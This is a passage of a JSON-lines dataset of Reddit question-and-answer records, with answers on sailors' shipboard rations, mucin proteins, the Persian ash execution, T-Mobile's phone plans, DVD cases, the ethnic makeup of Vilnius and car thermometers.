"http://www.reddit.com/r/AskHistorians/comments/2yk44u/daily_lifedealing_with_boredomhandling_stress/", "answers": {"a_id": ["cpahtlx"], "score": [4], "text": ["I think you may be falling trap to presentism and reading quite a bit of our modern-day assumptions about how time passes back into an earlier era. Keep in mind that there's a LOT to do aboard a ship at sea, especially aboard a merchant ship with few hands. Exploring ships and naval ships would have a lot more men (and women) on board, but the nature of military discipline means that there are a lot of make-work tasks done aboard ship to keep crews occupied. \n\nSome of the daily tasks that sailors during the period that I studied embarked on would include: \n\n* Rising before dawn for a quick breakfast; packing up your hammock and putting it in netting above deck \n\n* Holystoning decks (think of scrubbing the decks with sand and water, on your knees, pushing a stone the size of a large Bible for the scrubbing action), washing them down, and swabbing them dry; \n\n* pumping ship (wooden ships leak, a lot);\n\n* repairing sails and/or rigging;\n\n* making and mending slops (clothing)\n\n* caring for livestock kept aboard;\n\n* repairing the hull or ship's fittings; \n\n* painting ship; \n\n* setting up or striking topmasts; \n\n* working as a blacksmith or armourer;\n\n* hoisting in or out boats; \n\n* cooking (each ship's mess had his own cook, who would add his own flair to what the ship's cook produced) \n\nOfficers would also have their own set of tasks, including standing watch, taking navigational sightings and calculations, keeping journals up to date, dealing with routine discipline and management issues, working in their particular areas of the ship, and lots of other tasks. \nAnd that's not even getting into actually sailing the ship -- trimming sails, laying aloft to set sails, getting new sails up from belowdecks or striking sails, and all the attendant time that took, without any mechanical aid besides capstans, block and tackle, and winches. \n\nYou can also add into that gun drill, small arms drill, drill with cutlasses and pikes, and all the attendant time it took to service guns and small arms. \n\nAnd if you still have time left over after that, sailors would spend time making crafts, singing and dancing, drinking and socializing. Gambling was officially forbidden in the English/British navy, but it occurred regardless. Storytelling and music were important tasks for keeping up morale. \n\nTo get to some of your more specific questions, \n\n >  Food. I guess it was just days after days of salted meat plus alcohol? Have they ever thought that their voyage might last longer than, say 50 days? How would they survive then? Fishing? What about drinking water?\n\nFishing, no. They would pack enough stores for their length of voyage. (The open ocean is basically a desert, compared to the marine life near shores.) \n\nIn the British navy, sailors were entitled to a daily ration of bread, some sort of meat (or a substitute on non-meat days), some sort of vegetable (often dried peas), and some sort of non-water drink, as well as water. There are a lot of myths about water and spirits aboard ship. From an earlier question I answered: \n\n >  Now, that said, in the British navy it was the practice to embark beer or other alcoholic beverages as part of the sailors' daily ration. The \"rum ration\" as a defined amount per day can't be dated until 1844, but sailors certainly had access to spirits throughout the working day. During the period of the Napoleonic wars, which I am most familiar with, sailors would be issued a gallon of beer per day, but the beer ration became an enormous brewing/stowage problem over time. A third-rate ship, the smallest ship reckoned able to stand in the line of battle, would have to stow 50-100 tuns (~240-250 gallon units) of beer, which would come in large barrels called \"butts\" (half a tun) which themselves weighed half a ton (the weight measure) each. The volume and weight of those displaced other stores, so rum gradually replaced beer, especially for foreign service.\n\n > The spirits ration was half a pint (instead of a gallon of beer) and it became regularly issued in the morning and evening, mixed as \"three-water\" grog (three parts of water to one of spirits). Two pints of liquid would not be nearly enough for a working day, so we infer that sailors drank water in the intervening time. (There was also absolutely an illicit trade in spirits, but that's a separate issue.) The spirits ration could be stopped for small crimes, but spirits (or beer) were seen as an entitlement and stopping spirits or watering them were causes for discontent among sailors.\n\n > Moving to fresh water, then: water stored in wooden casks would certainly become slimy and unpalatable over time. Ships dealt with this by frequently re-watering (at streams or other fresh water sources), collecting rainwater, and by boiling water, but many sailors had to just tough it out (for lack of a better term). Iron water storage tanks mitigated those problems, but they were not in wide use until the end of the period I'm familiar with.\n\n > Much of a ship's fresh water would in any case be used for soaking salt meat (beef and pork) and cooking, not drinking. But free access to a barrel of water (\"scuttle butt\") is mentioned in a fair number of contemporary sources."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ryfxs", "title": "carl jung's theory of anima/animus and mother figure archetypes", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ryfxs/eli5_carl_jungs_theory_of_animaanimus_and_mother/", "answers": {"a_id": ["c49pz02"], "score": [2], "text": ["I'm sorry...I really wish I could find a way to explain transpersonal psychological concepts to a 5 year old...but along with the fact that I'm not articulate enough, I just don't think it's possible.\n\nAs far as anima/animus, you could consider the human mind to be a whole thing, but what we experience consciously is only part of it.  For instance, if you're a male, you only consciously experience the \"animus.\"  The mind always seeking to complete its whole self, you innately have an \"anima\" in your unconscious, which is the female counterpart to your male consciousness.  According to Jung, this works with literally every expression of your consciousness...everything within the mind works with \"opposites,\" working to complete itself.  Much of what we experience unconsciously (through dreams, imagination, creativity, etc) is the unconscious mind expressing the opposites (or the desire to consciously experience the opposites) of what we normally experience consciously.\n\nAs far as archetypes...I'm not gonna try to get into it on reddit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "nbdjm", "title": "Is all mucous in the human body the same?  ", "selftext": "I was thinking about the presence of mucous in the human body, and how it's present in several places: sinuses, lungs, stomach, colon, vagina, and so on.  To put is as clearly as I can, are the mucous proteins identical?  Is the same mRNA being transcribed to produce mucous proteins at each production site in the human body?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nbdjm/is_all_mucous_in_the_human_body_the_same/", "answers": {"a_id": ["c37rdhn", "c37rdhn"], "score": [7, 7], "text": ["The proteins that make up mucus are the mucins. And there are ~15 mucin genes.\n\nThere are 3 categories of mucin genes:\n\n1) Tethered - these are physically bound to cells. This is the biggest class of mucin, 9 genes.\n\n2) Secreted non-gel forming - this is really only one gene...ok, maybe 2.....and they are a component of some mucus, but their role is not well understood.\n\n3) Secreted gel-forming - there are 4 genes here, 5 gene products. Most of the stuff that you think of as mucus are these. These are secreted by cells and form aggregates (gels).  \n\nBut they are found in different proportions in different areas. For example, cervical mucus is mostly MUC5AC, MUC5B, and MUC6. The stuff in your airways is 5AC, 5B and MUC19. The stuff in your colon is mostly MUC2 and a hodgepodge of tethered mucins that come off with shed cells.\n\nBut it doesn't really stop there; you find these different mucins in different tissues, but some only come on (significantly) when there's a reason. For example, you can alter expression of different mucins during infection. \n\nFurthermore, mucins aren't simple proteins. First off, they are HUGE. Second, they are heavily glycosylated. That is, they are protein chains with carbohydrates hanging all off of them. This helps make them larger, stickier, and \"wetter\" (more hydrated). It is also (probably) regulated. So, for example, the MUC5AC in your lung when you are feeling well not only changes in quantity, but also in chemistry when you get sick. ", "The proteins that make up mucus are the mucins. And there are ~15 mucin genes.\n\nThere are 3 categories of mucin genes:\n\n1) Tethered - these are physically bound to cells. This is the biggest class of mucin, 9 genes.\n\n2) Secreted non-gel forming - this is really only one gene...ok, maybe 2.....and they are a component of some mucus, but their role is not well understood.\n\n3) Secreted gel-forming - there are 4 genes here, 5 gene products. Most of the stuff that you think of as mucus are these. These are secreted by cells and form aggregates (gels).  \n\nBut they are found in different proportions in different areas. For example, cervical mucus is mostly MUC5AC, MUC5B, and MUC6. The stuff in your airways is 5AC, 5B and MUC19. The stuff in your colon is mostly MUC2 and a hodgepodge of tethered mucins that come off with shed cells.\n\nBut it doesn't really stop there; you find these different mucins in different tissues, but some only come on (significantly) when there's a reason. For example, you can alter expression of different mucins during infection. \n\nFurthermore, mucins aren't simple proteins. First off, they are HUGE. Second, they are heavily glycosylated. That is, they are protein chains with carbohydrates hanging all off of them. This helps make them larger, stickier, and \"wetter\" (more hydrated). It is also (probably) regulated. So, for example, the MUC5AC in your lung when you are feeling well not only changes in quantity, but also in chemistry when you get sick. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "43j1tg", "title": "This Week's Theme: \"Royalty, Nobility, and the Exercise of Power\"", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/search?q=flair%3ARoyalty&amp;restrict_sr=on&amp;sort=new&amp;t=all", "answers": {"a_id": ["czijtmv", "czixgez"], "score": [3, 3], "text": ["My mentor in medieval history described how he was once traveling in Europe when he ran into an American who asked him what he did. He explained that he was a professor and told him the subject. This fellow said, \"Ah yes. Kings and Queens and shit like that.\" I was always interested in anything but the kings and queens, so I figured I studied \"the shit like that.\" I imagine your weekly theme will do very well, but I will only watch from afar, waiting for that moment when someone asks about shit.\n\nEdit: ask and ye shall receive; [a question about shit duly answered](_URL_0_).", "Really looking forward to the \"Eastern Europe\" next week.  Most people don't find minority politics in 17th century Eastern Europe nearly as interesting as I do."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/43jajf/about_when_did_indoor_flush_toilets_become/"], []]}
{"q_id": "9hgq4r", "title": "Did ancient Persians really have an execution method where they suffocated someone in ash? How did this punishment work? Was it really such a slow, horrible death?", "selftext": "I've read some articles about it online, which I'm sure you can find by searching \"suffocation in ash punishment\" and such things. From what I gather, there was a tower with a huge heap of ash at the bottom (some sources say it's the incenerated ashes of other condemned criminals). The person is thrown into it from the top, and then people on the outside rotate \"fans\" which stir up the ash and kick it into the air, and the person inside slowly suffocates on the ash.\n\nDoes anyone know more about this or how it worked?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9hgq4r/did_ancient_persians_really_have_an_execution/", "answers": {"a_id": ["e6dejbf"], "score": [5], "text": ["There are a couple of attestations of this: 2 Maccabees, Valerius Maximus, and Ctesias. Ctesias describes it as such in his 4th century _History_, quoted by Photius:\n\n > At the suggestion of Parysatis, he endeavored by trickery and solemn promises to win over Secydianus. Menostanes did all he could to prevent Secydianus from putting faith in these promises or coming to terms with those who were trying to deceive him. In spite of this Secydianus allowed himself to be persuaded, was arrested, thrown into the ashes, and died, after a reign of six months and fifteen days.\n\nValerius Maximus describes (if someone could translate these I would be very grateful):\n\n > ext.6 Ochus autem, qui postea Darius appellatus est, sanctissimo Persis iure iurando obstrictus ne quem ex coniuratione, quae septem magos cum eo oppresserat, aut veneno aut ferro aut ulla vi aut inopia alimentorum necaret, crudeliorem mortis rationem excogitavit, qua ~ hosustos sibi non perrupto vinculo religionis tolleret: saeptum enim altis parietibus locum cinere conplevit superpositoque tigno prominente benigne cibo et potione exceptos in eo conlocabat, e quo somno sopiti in illam insidiosam congeriem decidebant.\n\n > ext.7 Apertior et taetrior alterius Ochi cognomine Artaxerxis crudelitas, qui Atossam sororem atque eandem socrum vivam capite defodit et patruum cum centum amplius filiis ac nepotibus vacua area destitutum iaculis confixit nulla iniuria lacessitus, sed quod in his maximam apud Persas probitatis et fortitudinis laudem consistere videbat.\n\nAnd Maccabees:\n\n > But the King of kings [God, I guess?] aroused the anger of Antiochus against the scoundrel. When the king was shown by Lysias that Menelaus was to blame for all the trouble, he ordered him to be taken to Beroea* and executed there in the customary local method.\n > There is at that place a tower seventy-five feet high, full of ashes,* with a circular rim sloping down steeply on all sides toward the ashes. Anyone guilty of sacrilege or notorious for certain other crimes is brought up there and then hurled down to destruction.\n > In such a manner was Menelaus, that transgressor of the law, fated to die, deprived even of burial.\n > It was altogether just that he who had committed so many sins against the altar with its **pure fire and ashes, in ashes should meet his death.**\n\nI think that basically exhausts the early primary source material. A priori, there are some things that make me sceptical of this, especially of the interpretations (found in e.g. Bible glosses) that supposes it was _smouldering_ ash. While we know far too little about the religious practices of the Achaemenians, Herodotus does confirm that cremation was against the custom of the Persians in his discussion of Cambyses. Indeed in the extant Avestan literature, the burning of a corpse is alluded to as one of the most heinous crimes there is, since it pollutes both the fire and the earth. Similarly, ashes are considered some of the most ritually pure substances there is. Though Achamaenian monarchs evidently followed the Near Eastern custom of being embalmed [which would be considered a heinous sin in extant Avestan literature] rather than burial by exposure, this should probably be taken as a remarkable but conceivable exception to custom (according to e.g. Mary Boyce), which is especially believable if we suppose Cyrus and his immediate family weren't Persian, which is plausible.\n\nThe descriptions given of the tower in Maccabees sounds like it could plausibly be a maybe slightly mangled description of Zoroastrian fire temples. Ctesias' work, composed  contrary to what one might expect, is famously unreliable but was favoured by ancient authors. Given this, my suspicion is that it might have been a gruesome torture method imagined by the Greeks (maybe Ctesias himself, just to make his clever anecdote of Darius II's trickery work), based on knowledge of the Persian fire temple cult and their buildings with great fires and sacred ashes. This seems to be supported by Maccabees' mention of the \"pure fire and ashes\" (the author of which could plausibly simply be transposing tales of the Achaemenian empire onto the Seleucids). \n\nWhile this type of ironic punishment might have seemed suitable to Ctesias, or to Jews in the 1st or 2nd centuries BC, I really don't think a Persian monarch would have found it anywhere near as amusing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1b1pak", "title": "t-mobile's new plan", "selftext": "Isn't it the same thing every other large carrier offers, except this one allows you to cancel at any time? You pay part of the price of the phone, then you play for monthly service. With T-Mobile, you also pay for your phone over time until you've paid it off. With other carriers, the payments to cover the phone are included in your monthly service payments.\n\nIf I upgrade every two years (like most people), what's the difference between T-Mobile's new plan and plans offered by Verizon Wireless, AT & T, or Sprint?\n\nEDIT: **Answered** by /u/israeljeff right over [here!](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1b1pak/eli5_tmobiles_new_plan/", "answers": {"a_id": ["c92r7kd", "c92r7n8", "c92r8kf", "c92ub5f", "c92ug8t", "c92x6va"], "score": [3, 3, 2, 16, 2, 2], "text": ["i'm trying to figure this out too.  but it looks like they're just letting you buy the phone un-subsidized if you want at full price up front, and then you can cancel your plan whenever.  it sounds like this plan is best for people that are already tmobile customers and don't have to purchase a phone on their network.  they can just switch their plan to a much cheaper unlimited plan.", "If you choose to upgrade every two years, then there's probably not much difference.\n\nFor other folks, anytime they made a change (new phone, change minutes, change data, etc.), that usually required a contract renewal.\n\nMy understanding is that now any changes to your service/device no longer has any early termination fee or other costs involved in making changes.\n\nOf course, if you decide to pay for a new phone via the monthly installments, I'm guessing you'd have to settle up with that somehow before you get a new phone.  ", "If you upgrade every 2 years? next to nothing (other than increased canclation options) However, with the new plan you can pay less if you have an older phone you want to use (something that the current carriers do not offer).\n\nMany people who are super into phones upgrade more than every 2 years, cycling the \"old\" phone on ebay.  These people could pay a lower monthly fee under the new system, and the people who buy the phones on ebay could as well.\n\nIt could also mean a market for mobile phones outside of the carriers.  If you look you notice that the (off contract) price of older phones does not change all that much as they get older.  This is because almost none are sold off contract.  Introducing alliterative retailers for phones, as would be possible with the new plans,could change all this. ", "Big carriers add the cost of a subsidized phone into your monthy service, so you get to buy a phone for cheap, and your monthly service is expensive AND you are contractually obligated to keep the service in order to pay off the phone.\n\nHOWEVER, if you don't buy a phone from them (meaning, you bring your own device), carriers (normally) don't change the monthly service costs, meaning you're still paying the same amount as people who are paying off a phone.  The only difference between them and you is that you can cancel your contract without a termination fee, and they can't.\n\nT-mo simply cut those fees out of their monthly service costs when you bring your own device.  If you already have a phone (or buy one at full retail price when you sign up), you don't have that extra cost to pay every month, and you can cancel without fees.\n\nIf you decide you still want a cheap phone, T-mo will sell you a subsidized phone and tack the cost onto your monthly bills (example, a Galaxy SII is something like $415 no contract, but T-mo will sell you one for $30 and then your monthly bill will be $16 higher than it would have been every month for two years).  If you do this, and you decide to cancel service, you'll get a \"cancellation fee,\" meaning you'll have to pay off the rest of the phone.\n\nLike others have said, the actual service is $50 for unlimited nationwide talk, unlimited nationwide text, 500MB of domestic HSPA+ data, and mobile hotspot capabilities.  You can pay extra every month for more data (all the way up to unlimited, but they will throttle you down to 2G speeds at some point).  You can also do family plans, an extra line is $10/line after the first two.  I believe that everyone gets their own data, meaning if you have two lines and you have the 500MB plan, both lines get their own 500MB rather than both lines sharing 500MB of data.\n\nSo.  How does this compare to the other carriers?  Well, I actually work for AT & T as a retailer, so I'll compare to them.\n\nIf you wanted to get a similar single-phone plan on Big Blue (unlimited talk, unlimited text, some data, mobile hotspot), it would cost you $85/month (you get 1GB of data for that price).  So, it's $50 for T-mo (500MB of data) and $85 for AT & T (1GB of data).  If you factor in the cost of the phone, things are a bit different.  If you buy a subsidized phone from T-Mo, and buy the same subsidized phone from AT & T, your monthly AT & T bills would be the same, but T-Mo's bill goes up.  Let's use the Galaxy Note II as an example, because it's on both carriers and the monthly fee is a nice, round number.  AT & T charges $300 at checkout, still $85/mo.  T-mo would charge you $200 at checkout, and your monthly bill would be $20 higher, making it $70/mo, and now you're locked in for two years if you want to avoid paying off the phone all at once, just like with AT & T.\n\nDifferences between the services:\n\n* T-mo gets HSPA+ data speeds, AT & T gets LTE (Ok, so some T-mo devices get LTE, but not very many.  Their site only lists the Note II and the BB Z10, and you have to live in/near a city where they've rolled it out, of which there are eight).\n\n* Depending on where you live, AT & T almost certainly has better coverage (I'm not saying that as a salesman, I'm saying that as a person who lives just outside of a major US city and asks people how their coverage is...as far as I can tell, Sprint is terrible around where I live, T-mo isn't much better, and Big Blue and Big Red are about the same).\n\n* AT & T does not throttle their data (the exception to this is that if you're grandfathered into an unlimited data plan, your data is throttled after 3GB and you have no way to get mobile hotspot), they just keep charging you for more if you go over your limit (after warning you, of course).\n\n* Lastly, AT & T lets you upgrade at 18-21 months and resign that two year contract early to get a new phone. With T-mo, if you bought a subsidized phone, you'd have to wait out the entire two years (unless you paid off the remaining balance on your phone).\n\nSO.  What's the point here?  If you bring your own device, and don't mind the (potentially!) worse coverage and slower data for most devices in most areas, T-mo's new plans are pretty great.  If you want the better coverage and faster speeds in more areas, stick to AT & T or Verizon.  If you plan on getting a new phone every two years, it's a toss-up.  It depends entirely on your network needs.  I think if you upgrade with carrier subsidies whenever you can, the big carriers are still better.  You get better coverage for prices very close to T-mo.  In fact, when you factor in paying off the phone every month, T-mo's new plans are pretty much the exact same price as their old plans and you still have termination fees, so we're right back to where we were before.\n\nI didn't do a good job of explaining like you were 5, but I hope I helped anyway.", "I have a question - do you need to buy their phones? Or can I bring in an unlocked iPhone 5?", "The UK has had this type of offering for years.  Just out of interest, is it unusual in America or is it news simply because T-Mobile is such a large operator?\n\nFor comparison, in the UK \u00a312/month (equivalent to $18/month) with no contract buys \n[^source](_URL_0_):\n\n* 250 UK call minutes\n* Unlimited UK texts\n* Unlimited mobile internet\n* Unlimited calls to phones on the same network\n\nI was genuinely surprised at the cost of the mobile plans in the US as they seem very expensive compared to over here."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/explainlikeimfive/comments/1b1pak/eli5_tmobiles_new_plan/c92ub5f"], "answers_urls": [[], [], [], [], [], ["http://giffgaff.com/goodybags/12pound-goodybag"]]}
{"q_id": "24o03k", "title": "New to it all, want to start reading about Socrates /r/AskHistorians where should I start?", "selftext": "Been fascinated with the development of law recently and have been reading short extracts from Plato's texts and I want to read more. A friend suggested starting off with 'The apology'.\n\nI'm sorry in advance if this is not the correct subreddit to ask this question.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/24o03k/new_to_it_all_want_to_start_reading_about/", "answers": {"a_id": ["ch8zjkz"], "score": [3], "text": ["If youre interestind in Socrates, start out with the [Trial and Death of Socrates](_URL_0_) by Plato. It contains the main dialogues, Euthyphro, Apology, Crito, and Phaedo. Plato was a disciple of Socrates, and after Socrates' execution (in the Phaedo), Plato fled Athens and began writing about the life of Socrates. Those four dialogues are generally regarded as the main \"historical\" or \"Socratic\" dialogues, because they retall Socrates' life.  Later in his career, Plato would author his own thoughts and ideas in books like the Republic, but he would still take on the guise of Socrates. \n\nThese dialogues, as well as most all of Plato's works, are some of the most important books in western philosophy. As such, most (if not all) of Plato's works should be available for free online. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/The-Trial-Death-Socrates-Plato/dp/0872205541/ref=sr_1_1?ie=UTF8&amp;qid=1399172427&amp;sr=8-1&amp;keywords=Trial+and+Death+of+Socrates"]]}
{"q_id": "1h4odo", "title": "What would the effects be if the Earth had no magnetosphere in a localized area?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1h4odo/what_would_the_effects_be_if_the_earth_had_no/", "answers": {"a_id": ["caqsu0e"], "score": [2], "text": ["Any charged particles that happen to be incident upon that area would be able to hit the Earth uninhibited. This could potentially be dangerous to any life forms directly underneath the \"hole\" in the magnetic field."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1tlzhx", "title": "Historically, do we have evidence of debates changing minds and ideas?", "selftext": "This subreddit is certainly not for the discussion of current events, but I came to this question after long reading inspired by current observation.\n\nIf we go back to the Socratic Dialogues of Plato, for example, perhaps looking at the *Symposium*, we see what seems like an unimaginably idealized \"debate\", in which varying theories on the nature of love are presented, but despite analysis by each speaker, there's nothing like what we'd call argument today. Nobody attempts to disprove the others' ideas completely and \"win\".\n\nThis style of writing and instruction proceeds from Augustine to Boethius, and onward, and I'm wondering if these are just personal fantasies of authors proving a point to an established strawman, or **if historically, we have evidence of debate actually changing people's minds.** Even reading the Lincoln-Douglas debates transcription indicates a kind of camaraderie not only between the debaters, but also between supporters, who often admit the good points of their \"opponents\", which seems unthinkable in the modern context.\n\nI'm assuming that the answer is not absolute, and that the historians of this group will be able to provide examples of civil debate altering intellectual history and also stories of American senators being beaten with canes. Given your answers, I hope to do my own reflections on the nature of what we call debate today. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tlzhx/historically_do_we_have_evidence_of_debates/", "answers": {"a_id": ["ce9cezt"], "score": [4], "text": ["As a current political professional and a student of rhetoric I would say that the text of just about any debate can come off as civil especially if we have no cultural context. Insults are couched in very deep vague insinuations to make our opponent mad so they burst out and look foolish or at least lose their train of thought. We can see them sneak through if we have that context though. Debate, argumentation and rhetoric is a tool that we use not to convince our opposing rhetor but to move the audience. In much the same way we argue a case in court to move the judge and jury not opposing counsel.\n\nBut history has been sanitized for us in much the same way our high school text books fail to give us the uglier stories in our national narrative we see the same happening to the remembrance of discourse. [Harold Holzer in 1993](_URL_2_) looked at original transcripts of the Lincoln Douglas debates and they were peppered with rough language. Lincoln drops the N-bomb and despite what you might think it was not part of polite speech at the time. Consider that Lincoln was also very much immersed in abolitionist culture, his law office subscribed to anti-slavery journals and outside of New England his part of Illinois was where the foremost activists were centered, one of which was his law partner. Lincoln was not only being crass he was intentionally manipulating an electorate, outside of the abolitionist community, that did not share his sentiment on the future of slavery. \n\nIt is important in how we read Plato's accounts that we understand that Socrates himself coined the word rhetoric as a pejorative. We must also remember that he is dismissive and contemptuous enough of others that they eventually kill him. Durant points out in the Greek installment of his History of Civilization that there was a popular perspective on Socrates that he was what we would call a troll today. That he had no perspective himself but simply sought to frustrate those who would take on actual practical questions. Given his contempt for rhetoricians the [Gorgias](_URL_1_) clearly shows the utter contempt Socrates has for the greatest sophist of his day. If you go through and read the speech given by Socrates at the end of his trial you can see the disdain he has for his accusers to the extent that he fairly dares them to condemn him. While couched in civil terms I would say that it wasn't soaring but an insult to the jurors that were in fact looking for an out so that they wouldn't have to do away with the crusty old philosopher. \n\nIn the end though minds are changed, it just isn't that of the interlocutor for the most part but the audience. To this day the sophist who were the primary source of teaching and thought in their day, commanding great sums for their teaching are seen as foolish charlatans. Even though they were some of the [greatest thinkers of their day](_URL_0_). We believe otherwise for the most part because Plato and Socrates were much better convincing the audience of posterity than they were the entirety of their own contemporaries. Whether we are in a law court or the court of public opinion the power of argument is to persuade people that, as Kenneth Burke would say, we are worthy of being identified with. The process of making the case for people to identify with us allows them to convince themselves. So while you might not get the other philosophy student in your dorm room suite to agree with you the other freshman in your room might walk away convinced one or the other of you was right depending on whether they think your conclusion and process was fitting for someone like them.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.richmond-philosophy.net/rjp/back_issues/rjp9_crome.pdf", "http://classics.mit.edu/Plato/gorgias.html", "http://www.booknotes.org/Watch/49145-1/Harold+Holzer.aspx"]]}
{"q_id": "480zyr", "title": "why do dvd's come in dvd cases and not cd cases?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/480zyr/eli5_why_do_dvds_come_in_dvd_cases_and_not_cd/", "answers": {"a_id": ["d0gqbjg", "d0gr7dz"], "score": [23, 14], "text": ["Before DVDs, movies were sold on VHS cassette tapes. The DVD boxes were designed to resemble the VHS movie boxes as closely as possible. Since they are much taller it was also easier to distinguish them from CDs on a shelf from a distance. ", "Jewel cases (\"CD cases\") have been around as long as CDs have: since 1982. CDs in the early 1980s were expensive and as such Philips designed what was considered to be a very high-quality way of storing the discs as compared to the cardboard sleeves that records were stored in. See [this link from Philips](_URL_1_).\n\nDVDs and CDs look the same and are the same size but they're built in different ways. The reflective metal layer the data is stored on in a DVD is sandwiched in the middle of the disc, glued between two layers of polycarbonate plastic. A CD's data layer is at the top. ([refer to this image](_URL_0_)) This sandwiching of glued-together plastic layers makes the DVD more susceptible to cracking apart at the centre hub as compared to a CD. (the link about the jewel case from Philips in the preceding paragraph touches on this toward the end of it)\n\n\"Keep cases\", as DVD cases are known as, were designed with a softer centre hub to hold the discs in place. They also have the advantage of being made of a single piece of polypropylene rather than three pieces of polystyrene, which makes them cheaper to produce (bulk sources of jewel and keep cases sell the keep cases for ~10% less than jewel, in my experience). Being made in one piece makes them less susceptible to what was, in my experience, the biggest problem with jewel cases: the hinges on the front cover piece. Those little plastic tabs were easily broken if the case was dropped, whereas the keep cases are much more rugged.\n\nDesigning for a different centre hub was the main reason for the different packaging, but being that it was a new format it was also an opportunity to physically set DVDs apart from CDs. Blu-ray discs come in their own size of keep cases for no real reason other than to be set apart from DVDs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.clir.org/pubs/reports/pub121/fig2-3.jpg", "http://www.research.philips.com/technologies/projects/cd/jewelcase.html"]]}
{"q_id": "2umgx7", "title": "What was really the ethnic distribution of Vilnius (Wilno) in early XXth century?", "selftext": "I mean - was it mostly Polish or mostly Lithuanian city?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2umgx7/what_was_really_the_ethnic_distribution_of/", "answers": {"a_id": ["coa7ig8"], "score": [6], "text": ["The ethnic composition of Vilnius (for convenience's sake, I'll just use Vilnius here, but keep in mind this city has many names: Wilno [Polish], Vilnia [Belorussian], Vilna [Russians and Jews]) is somewhat nebulous and defies an easy demographic answer. The Russian empire conducted a census in 1897 and the city had 152, 532 residents, of whom 40 percent were Jews, 31 percent Poles, 20 percent Russians, and 2.1 percent Lithuanians. These figures are deceptively precise. The census itself though was based upon \"native language\" and the tsarist officialdom was highly leery of the national question, which is why the number of \"Russians\" in the census is quite high as they enfolded both Ukrainian and Belorussians as part of the city's Russian community. Furthermore, the officials likely downplayed the number of Poles in the city as the anti-Polish sentiments of the tsarist state ensured that they would not accept any evidence of a Polandization outside of the borders of Congress Poland. This bias reflected itself in other tsarist era mapping projects wherein Polish/Catholic areas became erased or discounted. The census also precluded the existence of \"national amphibians\" who spoke multiple languages and for whom the issue of of national identity was much more malleable. \n\nThe issue becomes even more cloudy given that the fact that nationality/ethnicity in Russia's Northwest and Western provinces were not fixed and still evolving at the turn of the century. This is perhaps best seen in the case of Vilnius's Jewish population, who could Russify, tap into the Polish activism and push for a position as Polish Jews, or argue that being a Jew was its own ethnic category distinct from other groups in the Northwest Provinces. The last option increasingly emerged as the dominant one as Jewish organizations emerged such as the socialist Bund or Zionism hat fostered such particularism. Yet this trend should not obscure the fact that ethnic identity was seldom clear-cut or innate. \n\nThe 1897 census's low numbers of Lithuanian speakers reflects that \"Lithuanian\" itself was a very hazy concept for identity during this time. The area's surrounding Lithuanian national activists sought to project onto Vilnius a historical provenance that stretched back to the Polish-Lithuanian Commonwealth. Like the tsarist state, these Lithuanian activists used a very skewed sense of statistics and ethnography to confirm their biases. Belorussian or Polish speakers were Lithuanians who simply spoke Polish by an accident of history in this schema. After the First World War, the Poles also employed a similiar methodology to project onto Vilnius a strong Polish identity. \n\nThe long and short of it is there is no clear answer as much of the data on the city's ethnic composition reflected nationalist or state imperatives and grossly oversimplified or ignored the Vilnius's multiethnic reality. \n\n*Sources*\n\nBartov, Omer, and Eric D. Weitz, editors. *Shatterzone of Empires Coexistence and Violence in the German, Habsburg, Russian, and Ottoman Borderlands*. Bloomington: Indiana University Press, 2013. \n\nPetronis, Vytautas. *Constructing Lithuania: Ethnic Mapping in Tsarist Russia, Ca. 1800-1914*. Stockholm: Stockholm University, 2007. \n\nSeegel, Steven. *Mapping Europe's Borderlands: Russian Cartography in the Age of Empire*. Chicago, Ill: University of Chicago Press, 2012. \n\nSnyder, Timothy. *The Reconstruction of Nations Poland, Ukraine, Lithuania, Belarus, 1569-1999*. New Haven: Yale University Press, 2003. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7wnpqa", "title": "how does the temperature gauge that reads the outside temperate that is displayed inside your car not get thrown off by wind/other elements when you\u2019re traveling fast down a highway?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7wnpqa/eli5_how_does_the_temperature_gauge_that_reads/", "answers": {"a_id": ["du1qne9", "du1qoj7", "du26fnz"], "score": [126, 19, 3], "text": ["Wind doesn't actually change the temperature.\n\nWind feels colder to you because your body is 98.6 degrees, so on a cool day with no wind, there is a layer of warm air (warmed by your body) surrounding you... but on a windy day, that warm air gets blown away, so you feel cooler.\n\nA thermometer doesn't have a layer of warm air around it, so it just feels the temperature, regardless of wind.", "The wind doesn't make a thermometer any cooler.  It makes warm-blooded mammals like us cooler because, unlike a thermometer, we're not at equilibrium with our surrounding environment.  Instead, we heat the air around us, and wind blows that pocket of warmer air away, causing us to lose heat faster.  And since we feel heat loss/gain, and not actual temperature, blowing away that warm air makes us feel cooler.", "ELI5 version: Your car's gauges lie to you all the time. They are made to be close enough to be useful without wiggling all about and being distracting or annoying. \n\nCracked has a decent articles about it: _URL_0_ "]}, "title_urls": [], "selftext_urls": [], 